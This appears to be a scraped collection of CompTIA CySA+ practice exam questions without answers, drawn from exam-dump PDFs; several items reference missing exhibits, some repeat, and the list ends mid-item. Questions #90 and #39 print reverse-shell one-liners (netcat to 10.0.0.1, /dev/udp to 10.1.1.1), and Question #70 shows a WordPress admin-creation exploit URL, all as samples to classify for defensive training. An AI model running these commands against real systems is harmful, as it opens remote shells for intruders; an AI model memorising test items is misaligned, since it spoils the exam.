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Question #183

Several vulnerability scan reports have indicated runtime errors as the code is executing. The dashboard that lists the errors has a command-line interface for developers to check for vulnerabilities. Which of the following will enable a developer to correct this issue? (Choose two.)

A. Performing dynamic application security testing
C. Fuzzing the application
E. Implementing a coding standard
F. Implementing IDS
D. Debugging the code
B. Reviewing the code

Question #225

A cybersecurity analyst is participating with the DLP project team to classify the organization's data. Which of the following is the primary purpose for classifying data?

A. To identify regulatory compliance requirements
C. To prioritize IT expenses
D. To establish the value of data to the organization
B. To facilitate the creation of DLP rules

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #63

An organization would like to ensure its cloud infrastructure has a hardened configuration. A requirement is to create a server image that can be deployed with a secure template. Which of the following is the best resource to
ensure secure configuration?

C. OWASP Top Ten
A. CIS Benchmarks
D. ISO 27001
B. PCI DSS

Question #216

A company has decided to expose several systems to the internet. The systems are currently available internally only. A security analyst is using a subset of CVSS3.1 exploitability metrics to prioritize the vulnerabilities that would be the most exploitable when the systems are exposed to the internet. The systems and the vulnerabilities are shown below:

Which of the following systems should be prioritized for patching?

D. sullivan
C. blane
B. grey
A. brown

Question #50

The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results?

B. Single sign-on
A. Single pane of glass
C. Data enrichment
D. Deduplication

Question #48

After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request. Which of the following risk management principles did the CISO select?

A. Avoid
C. Accept
B. Transfer
D. Mitigate

Question #119

Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address?

D. Review threat feeds after viewing the SIEM alert
A. Join an information sharing and analysis center specific to the company's industry
C. Add data enrichment for IPs in the ingestion pipeline
B. Upload threat intelligence to the IPS in STIX'TAXII format

Question #146

An analyst is conducting routine vulnerability assessments on the company infrastructure. When performing these scans, a business-critical server crashes, and the cause is traced back to the vulnerability scanner. Which of the following is the cause of this issue?

B. The scanner is running in active mode.
C. The scanner is segmented improperly
D. The scanner is configured with a scanning window
A. The scanner is running without an agent installed.

Question #75

A company’s security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best practices?

A. Help desk
B. Law enforcement
D. Board member
C. Legal department

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #55

When investigating a potentially compromised host, an analyst observes that the process BGInfo.exe (PID 1024), a Sysinternals tool used to create desktop backgrounds containing host details, has bee running for over two
days. Which of the following activities will provide the best insight into this potentially malicious process, based on the anomalous behavior?

D. Activities taken by PID 1024
C. Recent browser history of the primary user
B. SMB network traffic related to the system process
A. Changes to system environment variables

Question #109

A security analyst is reviewing the findings of the latest vulnerability report for a company’s web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

A. Deploy a WAF to the front of the application.
D. Replace the MD5 with digital signatures.
B. Replace the current MD5 with SHA-256.
C. Deploy an antivirus application on the hosting system.

Question #208

A software developer has been deploying web applications with common security risks to include insufficient logging capabilities. Which of the following actions would be most effective to reduce risks associated with the application development?

B. Deploy compensating controls into the environment
C. Implement server-side logging and automatic updates
D. Conduct regular code reviews using OWASP best practices
A. Perform static analyses using an integrated development environment

Question #123

A security administrator needs to import PII data records from the production environment to the test environment for testing purposes. Which of the following would best protect data confidentiality?

A. Data masking
C. Watermarking
D. Encoding
B. Hashing

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #90

A security analyst detected the following suspicious activity:
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f
Which of the following most likely describes the activity?

B. Host scanning
C. Privilege escalation
D. Reverse shell
A. Network pivoting

Question #199

Which of the following does "federation" most likely refer to within the context of identity and access management?

B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains
C. Utilizing a combination of what you know who you are, and what you have to grant authentication to a user
A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access
D. Correlating one's identity with the attributes and associated applications the user has access to

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #252

A threat hunter seeks to identify new persistence mechanisms installed in an organization's environment. In collecting scheduled tasks from all enterprise workstations, the following host details are aggregated:

Which of the following actions should the hunter perform first based on the details above?

C. Perform a public search for malware reports on taskhw.exe.
D. Change the account that runs the -caskhw. exe scheduled task
B. Scan the enterprise to identify other systems with taskhw.exe present
A. Acquire a copy of taskhw.exe from the impacted host

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #284

A vulnerability analyst is writing a report documenting the newest, most critical vulnerabilities identified in the past month. Which of the following public MITRE repositories would be best to review?

A. Cyber Threat Intelligence
C. Cyber Analytics Repository
D. ATT&CK
B. Common Vulnerabilities and Exposures

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #198

Which of the following is a benefit of the Diamond Model of Intrusion Analysis?

A. It provides analytical pivoting and identifies knowledge gaps.
C. It provides concise evidence that can be used in court
D. It allows for proactive detection and analysis of attack events
B. It guarantees that the discovered vulnerability will not be exploited again in the future.

Question #99

A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

D. Credentialed scanning
C. Agent-based scanning
A. Non-credentialed scanning
B. Passive scanning

Question #161

To minimize the impact of a security incident, a cybersecurity analyst has configured audit settings in the organization’s cloud services. Which of the following security controls has the analyst configured?

B. Corrective
C. Directive
D. Detective
A. Preventive

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #45

Due to an incident involving company devices, an incident responder needs to take a mobile phone to the lab for further investigation. Which of the following tools should be used to maintain the integrity of the mobile phone while it is transported? (Select two).

D. Crime scene tape
C. Thumb Drive
E. Write blocker
A. Signal-shielded bag
B. Tamper-evident seal
F. Drive duplicator

Question #180

A SOC manager is establishing a reporting process to manage vulnerabilities. Which of the following would be the best solution to identify potential loss incurred by an issue?

C. Mitigation
A. Trends
D. Prioritization
B. Risk score

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #88

A cybersecurity analyst has recovered a recently compromised server to its previous state. Which of the following should the analyst perform next?

C. Reporting
D. Forensic analysis
B. Isolation
A. Eradiction

Question #68

A security team conducts a lessons-learned meeting after struggling to determine who should conduct the next steps following a security event. Which of the following should the team create to address this issue?

A. Service-level agreement
D. Memorandum of understanding
B. Change management plan
C. Incident response plan

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #65

Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?

D. Security by design
A. Review Of security requirements
B. Compliance checks
C. Decomposing the application

Question #117

A vulnerability analyst received a list of system vulnerabilities and needs to evaluate the relevant impact of the exploits on the business. Given the constraints of the current sprint, only three can be remediated. Which of the following represents the least impactful risk, given the CVSS3.1 base scores?

B. AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:L - Base Score 7.2
A. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L - Base Score 6.0
C. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H - Base Score 6.4
D. AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L - Base Score 6.5

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #101

A security analyst reviews the following results of a Nikto scan:
Which of the following should the security administrator investigate next?

B. phpList
C. shtml.exe
A. tiki
D. sshome

Question #67

While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the following steps should be taken next?

A. Shut the network down immediately and call the next person in the chain of command.
B. Determine what attack the odd characters are indicative of.
C. Utilize the correct attack framework and determine what the incident response will consist of.
D. Notify the local law enforcement for incident response.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #286

Which of the following is the most important reason for an incident response team to develop a formal incident declaration?

B. To identify and document staff who have the authority to declare an incident
C. To allow for public disclosure of a security event impacting the organization
D. To establish the department that is responsible for responding to an incident
A. To require that an incident be reported through the proper channels

Question #31

When starting an investigation, which of the following must be done first?

B. Secure the scene
D. Interview the witnesses
A. Notify law enforcement
C. Seize all related evidence

Question #169

A penetration tester is conducting a test on an organization's software development website. The penetration tester sends the following request to the web interface:

Which of the following exploits is most likely being attempted?

B. Local file inclusion
C. Cross-site scripting
A. SQL injection
D. Directory traversal

Question #111

A systems administrator receives reports of an internet-accessible Linux server that is running very sluggishly. The administrator examines the server, sees a high amount of memory utilization, and suspects a DoS attack related to half-open TCP sessions consuming memory. Which of the following tools would best help to prove whether this server was experiencing this behavior?

B. TCPDump
A. Nmap
D. EDR
C. SIEM

Question #92

An employee is suspected of misusing a company-issued laptop. The employee has been suspended pending an investigation by human resources. Which of the following is the best step to preserve evidence?

D. Make a forensic image of the device and create a SHA-1 hash.
A. Disable the user’s network account and access to web resources.
C. Place a legal hold on the device and the user’s network share.
B. Make a copy of the files as a backup on the server.

Question #162

A web developer reports the following error that appeared on a development server when testing a new application:

Which of the following tools can be used to identify the application’s point of failure?

C. Immunity debugger
D. Burp Suite
B. Angry IP scanner
A. OpenVAS

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #9

Which of the following best describes the key elements of a successful information security program?

A. Business impact analysis, asset and change management, and security communication plan
C. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies
B. Security policy implementation, assignment of roles and responsibilities, and information asset classification
D. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #43

During a recent site survey. an analyst discovered a rogue wireless access point on the network. Which of the following actions should be taken first to protect the network while preserving evidence?

D. Disconnect the access point from the network
C. Identify who is connected to the access point and attempt to find the attacker.
A. Run a packet sniffer to monitor traffic to and from the access point.
B. Connect to the access point and examine its log files.

Question #21

Which of the following security operations tasks are ideal for automation?

A. Suspicious file analysis: Look for suspicious-looking graphics in a folder. Create subfolders in the original folder based on category of graphics found. Move the suspicious graphics to the appropriate subfolder
B. Firewall IoC block actions: Examine the firewall logs for IoCs from the most recently published zero-day exploit Take mitigating actions in the firewall to block the behavior found in the logs Follow up on any false positives that were caused by the block rules
C. Security application user errors: Search the error logs for signs of users having trouble with the security application Look up the user's phone number - Call the user to help with any questions about using the application
D. Email header analysis: Check the email header for a phishing confidence metric greater than or equal to five Add the domain of sender to the block list Move the email to quarantine

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #93

An attacker recently gained unauthorized access to a financial institution's database, which contains confidential information. The attacker exfiltrated a large amount of data before being detected and blocked. A security analyst needs to complete a root cause analysis to determine how the attacker was able to gain access.

Which of the following should the analyst perform first?

A. Document the incident and any findings related to the attack for future reference.
C. Review the log files that record all events related to client applications and user access.
B. Interview employees responsible for managing the affected systems.
D. Identify the immediate actions that need to be taken to contain the incident and minimize damage.

Question #151

After completing a review of network activity, the threat hunting team discovers a device on the network that sends an outbound email via a mail client to a non-company email address daily at 10:00 p.m. Which of the following is potentially occurring?

C. Abnormal OS process behavior
D. Data exfiltration
A. Irregular peer-to-peer communication
B. Rogue device on the network

Question #71

A penetration tester submitted data to a form in a web application, which enabled the penetration tester to retrieve user credentials. Which of the following should be recommended for remediation of this application vulnerability?

C. Performing input validation before allowing submission
B. Hashing user passwords on the web application
D. Segmenting the network between the users and the web server
A. Implementing multifactor authentication on the server OS

Question #220

A high volume of failed RDP authentication attempts was logged on a critical server within a one-hour period. All of the attempts originated from the same remote IP address and made use of a single valid domain user account. Which of the following would be the most effective mitigating control to reduce the rate of success of this brute-force attack?

B. Installing a third-party remote access tool and disabling RDP on all devices
C. Implementing a firewall block for the remote system's IP address
A. Enabling a user account lockout after a limited number of failed attempts
D. Increasing the verbosity of log-on event auditing on all devices

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #52

The management team requests monthly KPI reports on the company's cybersecurity program. Which of the following KPIs would identify how long a security threat goes unnoticed in the environment?

C. Mean time to detect
D. Level of preparedness
B. Intrusion attempts
A. Employee turnover

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #165

An organization discovered a data breach that resulted in Pll being released to the public. During the lessons earned review, the panel identified discrepancies regarding who was responsible for external reporting, as well as the timing requirements. Which of the following actions would best address the reporting issue?

C. Defining which security incidents require external notifications and incident reporting in addition to internal stakeholders
A. Creating a playbook denoting specific SLAs and containment actions per incident type
B. Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs
D. Designating specific roles and responsibilities within the security team and stakeholders to streamline tasks

Question #219

The Chief Information Security Officer (CISO) of a large management firm has selected a cybersecurity framework that will help the organization demonstrate its investment in tools and systems to protect its data. Which of the following did the CISO most likely select?

C. ISO 27001
B. COBIT
D. ITIL
A. PCI DSS

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #283

Which Of the following techniques would be best to provide the necessary assurance for embedded software that drives centrifugal pumps at a power Plant?

C. Static and dynamic analysis
D. Formal methods
B. Manual code reviews
A. Containerization

Question #186

A security analyst needs to secure digital evidence related to an incident. The security analyst must ensure that the accuracy of the data cannot be repudiated. Which of the following should be implemented?

C. Integrity validation
D. Legal hold
B. Evidence collection
A. Offline storage

Question #212

A security analyst reviews the following Arachni scan results for a web application that stores PII data:

Which of the following should be remediated first?

C. XSS
A. SQL injection
B. RFI
D. Code injection

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #178

A security analyst is working on a server patch management policy that will allow the infrastructure team to be informed more quickly about new patches. Which of the following would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly? (Select two).

F. npm identifier
E. loCs
A. Hostname
B. Missing KPI
D. POC availability
C. CVE details

Question #70

An analyst has received an IPS event notification from the SIEM stating an IP address, which is known to be malicious, has attempted to exploit a zero-day vulnerability on several web servers. The exploit contained the following snippet:

/wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator

Which of the following controls would work best to mitigate the attack represented by this snippet?

D. Set the directory V2 to read only for all users.
A. Limit user creation to administrators only.
C. Set the directory trx_addons to read only for all users.
B. Limit layout creation to administrators only.

Question #152

A vulnerability scanner generates the following output:

The company has an SLA for patching that requires time frames to be met for high-risk vulnerabilities. Which of the following should the analyst prioritize first for remediation?

B. Cisco Webex
C. Redis Server
A. Oracle JDK
D. SSL Self-signed Certificate

Question #16

An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

C. Unsupported operating systems
D. Lack of maintenance windows
A. Proprietary systems
B. Legacy systems

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #11

A company brings in a consultant to make improvements to its website. After the consultant leaves a web developer notices unusual activity on the website and submits a suspicious file containing the following code to the security team:

Which of the following did the consultant do?

A. Implanted a backdoor
C. Implemented clickjacking
B. Implemented privilege escalation
D. Patched the web server

Question #137

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. Which of the following would best address this issue?

D. Disabling all staff members’ ability to run downloaded applications
A. Increasing training and awareness for all staff
B. Ensuring that malicious websites cannot be visited
C. Blocking all scripts downloaded from the internet

Question #2

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

A. PAM
B. IDS
C. PKI
D. DLP

Question #19

A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?

B. Static analysis
D. Fuzzing
C. Reverse engineering
A. Code analysis

Question #3

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:

Which of the following tuning recommendations should the security analyst share?

A. Set an HttpOnly flag to force communication by HTTPS
B. Block requests without an X-Frame-Options header
C. Configure an Access-Control-Allow-Origin header to authorized domains
D. Disable the cross-origin resource sharing header

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #91

An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that the proxy and firewall rules that were in place were removed by a service account that is not recognized.

Which of the following parts of the Cyber Kill Chain does this describe?

C. Reconnaissance
A. Delivery
B. Command and Control
D. Weaporization

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #67

A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company's business type may be able to breach the network and remain inside of it for an extended period of
time.
Which of the following techniques should be performed to meet the CISO's goals?

A. Vulnerability scanning
B. Adversary emulation
D. Bug bounty
C. Passive discovery

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #75

Which of the following best describes the importance of implementing TAXII as part of a threat intelligence program?

D. It is a semi-automated solution to gather threat intellbgence about competitors in the same sector.
C. It exchanges messages in the most cost-effective way and requires little maintenance once implemented.
A. It provides a structured way to gain information about insider threats.
B. It proactively facilitates real-time information sharing between the public and private sectors.

Question #190

A security analyst has found the following suspicious DNS traffic while analyzing a packet capture:

• DNS traffic while a tunneling session is active.
• The mean time between queries is less than one second.
• The average query length exceeds 100 characters.

Which of the following attacks most likely occurred?

A. DNS exfiltration
C. DNS zone transfer
D. DNS poisoning
B. DNS spoofing

Question #178

Which of the following threat actors is most likely to target a company due to its questionable environmental policies?

B. Organized crime
D. Lone wolf
C. Nation-state
A. Hacktivist

Question #32

Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

D. Subject matter experts on the team should communicate with others within the specified area of expertise
B. Management level members of the CSIRT should make that decision
C. The lead has the authority to decide who to communicate with at any t me
A. The lead should review what is documented in the incident response policy or plan

Question #172

A team of analysts is developing a new internal system that correlates information from a variety of sources, analyzes that information, and then triggers notifications according to company policy. Which of the following technologies was deployed?

A. SIEM
D. CERT
B. SOAR
C. IPS

Question #176

The security team at a company, which was a recent target of ransomware, compiled a list of hosts that were identified as impacted and in scope for this incident. Based on the following host list:

Which of the following systems was most pivotal to the threat actor in its distribution of the encryption binary via Group Policy?

B. WK10-Sales07
A. SQL01
C. WK7-Plant01
E. HQAdmin9
D. DCEast01

Question #91

A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network. Which of the following would best aid in decreasing the workload without increasing staff?

B. XDR
A. SIEM
D. EDR
C. SOAR

Question #108

A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is the best solution to secure the network?

D. Roll out an IDS.
A. Implement segmentation with ACLs.
C. Deploy MFA to cloud storage locations.
B. Configure logging and monitoring to the SIEM.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #279

Each time a vulnerability assessment team shares the regular report with other teams, inconsistencies regarding versions and patches in the existing infrastructure are discovered. Which of the following is the best solution to decrease the inconsistencies?

C. Implementing a central place to manage IT assets
D. Performing agentless scanning
B. Changing from a passive to an active scanning approach
A. Implementing credentialed scanning

Question #223

A security analyst reviews the following extract of a vulnerability scan that was performed against the web server:

Which of the following recommendations should the security analyst provide to harden the web server?

D. Close port 22.
A. Remove the version information on http-server-header.
C. Delete the /wp-login.php folder.
B. Disable tcp_wrappers.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #172

A security analyst would like to integrate two different SaaS-based security tools so that one tool can notify the other in the event a threat is detected. Which of the following should the analyst utilize to best accomplish this goal?

B. API endpoint
D. SNMP trap
A. SMB share
C. SMTP notification

Question #9

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

B. Vulnerability management plan
A. Business continuity plan
C. Disaster recovery plan
D. Asset management plan

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #204

A security team identified several rogue Wi-Fi access points during the most recent network scan. The network scans occur once per quarter. Which of the following controls would best all ow the organization to identity rogue devices more quickly?

B. Implement a BYOD policy.
C. Implement a portable wireless scanning policy.
A. Implement a continuous monitoring policy.
D. Change the frequency of network scans to once per month.

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #48

A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security analyst uses the snippet below:

Which of the following vulnerability types is the security analyst validating?

D. SSRF
B. XSS
C. XXE
A. Directory traversal

Question #54

The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks?

D. Enable SSO to enterprise applications
C. Conduct thorough incident response
B. Employ a network-based IDS
A. Reduce the administrator and privileged access accounts

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #76

During a recent site survey. an analyst discovered a rogue wireless access point on the network.
Which of the following actions should be taken first to protect the network while preserving evidence?

B. Connect to the access point and examine its log files.
A. Run a packet sniffer to monitor traffic to and from the access point.
C. Identify who is connected to the access point and attempt to find the attacker.
D. Disconnect the access point from the network

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #20

When starting an investigation, which of the following must be done first?

C. Seize all related evidence
B. Secure the scene
A. Notify law enforcement
D. Interview the witnesses

Question #150

Which of the following actions would an analyst most likely perform after an incident has been investigated?

A. Risk assessment
D. Tabletop exercise
C. Incident response plan
B. Root cause analysis

Question #207

Which of the following should be updated after a lessons-learned review?

D. Incident response plan
A. Disaster recovery plan
B. Business continuity plan
C. Tabletop exercise

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #68

While performing a dynamic analysis of a malicious file, a security analyst notices the memory address changes every time the process runs. Which of the following controls is most likely preventing the analyst from finding
the proper memory address of the piece of malicious code?

A. Address space layout randomization
C. Stack canary
B. Data execution prevention
D. Code obfuscation

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #42

During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level?

A. Disk contents
C. Temporary files
D. Running processes
B. Backup data

Question #100

A company receives a penetration test report summary from a third party. The report summary indicates a proxy has some patches that need to be applied. The proxy is sitting in a rack and is not being used, as the company has replaced it with a new one. The CVE score of the vulnerability on the proxy is a 9.8. Which of the following best practices should the company follow with this proxy?

D. Patch the proxy.
A. Leave the proxy as is.
B. Decomission the proxy.
C. Migrate the proxy to the cloud.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #182

A security analyst has prepared a vulnerability scan that contains all of the company's functional subnets. During the initial scan, users reported that network printers began to print pages that contained unreadable text and icons.

Which of the following should the analyst do to ensure this behavior does not oocur during subsequent vulnerability scans?

D. Increase the threshold length of the scan timeout.
A. Perform non-credentialed scans.
C. Create a tailored scan for the printer subnet.
B. Ignore embedded web server ports.

Question #59

An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned?

D. To highlight the notable practices of the organization's incident response team
C. To identify areas of improvement in the incident response process
A. To satisfy regulatory requirements for incident reporting
B. To hold other departments accountable

Question #7

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access
B. An on-path attack is being performed by someone with internal access that forces users into port 80
C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
D. An error was caused by BGP due to new rules applied over the company's internal routers

Question #217

During an incident in which a user machine was compromised, an analyst recovered a binary file that potentially caused the exploitation. Which of the following techniques could be used for further analysis?

C. Sandboxing
A. Fuzzing
D. Packet capture
B. Static analysis

Question #121

A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize the number of unique firewall rules. Which of the following scanning techniques would be most efficient to achieve the objective?

B. Deploy a central scanner and perform non-credentialed scans
C. Deploy a cloud-based scanner and perform a network scan
A. Deploy agents on all systems to perform the scans
D. Deploy a scanner sensor on every segment and perform credentialed scans

Question #39

A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?

D. SQL injection
A. RCE
C. XSS
B. Reverse shell

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #41

Which of the following would eliminate the need for different passwords for a variety or internal application?

A. CASB
D. MFA
B. SSO
C. PAM

Question #42

A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

B. Passive scanning
A. Credentialed network scanning
C. Agent-based scanning
D. Dynamic scanning

Question #194

A laptop that is company owned and managed is suspected to have malware. The company implemented centralized security logging. Which of the following log sources will confirm the malware infection?

D. MFA logs
A. XDR logs
B. Firewall legs
C. IDS logs

Question #106

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device’s operating system. Which of the following best meets this requirement?

A. SIEM
D. EDR
C. SOAR
B. CASB

Question #24

A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?

B. Cloud-specific misconfigurations may not be detected by the current scanners
C. Existing vulnerability scanners cannot scan IaaS systems
D. Vulnerability scans on cloud environments should be performed from the cloud
A. The current scanners should be migrated to the cloud

Question #215

An analyst is evaluating a vulnerability management dashboard. The analyst sees that a previously remediated vulnerability has reappeared on a database server. Which of the following is the most likely cause?

C. The vulnerability scanner was configured without credentials.
D. The vulnerability management software needs to be updated.
A. The finding is a false positive and should be ignored.
B. A rollback had been executed on the instance.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #302

A security analyst is reviewing the logs of a web server and notices that an attacker has attempted to exploit a SQL injection vulnerability. Which of the following tools can the analyst use to analyze the attack and prevent future attacks?

C. A vulnerability scanner
A. A web application firewall
D. A web proxy
B. A network intrusion detection system

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #177

An attacker has just gained access to the syslog server on a LAN. Reviewing the syslog entries has allowed the attacker to prioritize possible next targets. Which of the following is this an example of?

C. Service port identification
A. Passive network foot printing
D. Application versioning
B. OS fingerprinting

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #82

A security analyst received an alert regarding multiple successful MFA log-ins for a particular user When reviewing the authentication logs the analyst sees the following:

Which of the following are most likely occurring, based on the MFA logs? (Select two).

B. Push phishing
C. impossible geo-velocity
F. Password spray
E. Rogue access point
D. Subscriber identity module swapping
A. Dictionary attack

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #71

A security analyst is reviewing the findings of the latest vulnerability report for a company's web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

B. Replace the current MD5 with SHA-256.
D. Replace the MD5 with digital signatures.
A. Deploy a WAF to the front of the application.
C. Deploy an antivirus application on the hosting system.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #34

When undertaking a cloud migration of multiple SaaS application, an organizations system administrator struggled … identity and access management to cloud-based assets. Which of the following service models would have reduced the complexity of this project?

A. CASB
C. ZTNA
B. SASE
D. SWG

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #7

During an incident, analysts need to rapidly investigate by the investigation and leadership teams. Which of
the following best describes how PII should be safeguarded during an incident?

C. Implement data encryption and create a standardized procedure for deleting data that is no longer needed.
B. Ensure permissions are limited in the investigation team and encrypt the data.
D. Ensure that permissions are open only to the company.
A. Implement data encryption and close the data so only the company has access.

Question #62

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following should the CSIRT conduct next?

B. Restore the affected server to remove any malware
C. Contact the appropriate government agency to investigate
D. Research the malware strain to perform attribution
A. Take a snapshot of the compromised server and verify its integrity

Question #136

A company recently removed administrator rights from all of its end user workstations. An analyst uses CVSSv3.1 exploitability metrics to prioritize the vulnerabilities for the workstations and produces the following information:

Which of the following vulnerabilities should be prioritized for remediation?

A. nessie.explosion
D. great.skills
C. sweet.bike
B. vote.4p

Question #61

A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?

D. Script kiddie
A. Hacktivist
B. Advanced persistent threat
C. Insider threat

Question #224

A security analyst is responding to an incident that involves a malicious attack on a network data closet. Which of the following best explains how the analyst should properly document the incident?

A. Back up the configuration file for all network devices.
D. Take photos of the impacted items.
C. Create a full diagram of the network infrastructure.
B. Record and validate each connection.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #255

A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization's environment. An analyst views the details of these events below:

Which of the following statements best describes the intent of the attacker, based on this one-liner?

B. Attacker is utilizing custom malware to download an additional script.
C. Attacker is executing PowerShell script "AccessToken.psr.
D. Attacker is attempting to install persistence mechanisms on the target machine.
A. Attacker is escalating privileges via JavaScript.

Question #52

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

A. Eradication
B. Recovery
D. Preparation
C. Containment

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #80

A security analyst needs to mitigate a known, exploited vulnerability related not tack vector that embeds software through the USB interface. Which of the following should the analyst do first?

B. Write a removable media policy that explains that USBs cannot be connected to a company asset.
C. Check configurations to determine whether USB ports are enabled on company assets.
D. Review logs to see whether this exploitable vulnerability has already impacted the company.
A. Conduct security awareness training on the risks of using unknown and unencrypted USBs.

Question #139

A security administrator has been notified by the IT operations department that some vulnerability reports contain an incomplete list of findings. Which of the following methods should be used to resolve this issue?

D. Network scan
C. Differential scan
B. External scan
A. Credentialed scar

Question #23

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

B. Number of exploits by tactic
C. Alert volume
A. Mean time to detect
D. Quantity of intrusion attempts

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #78

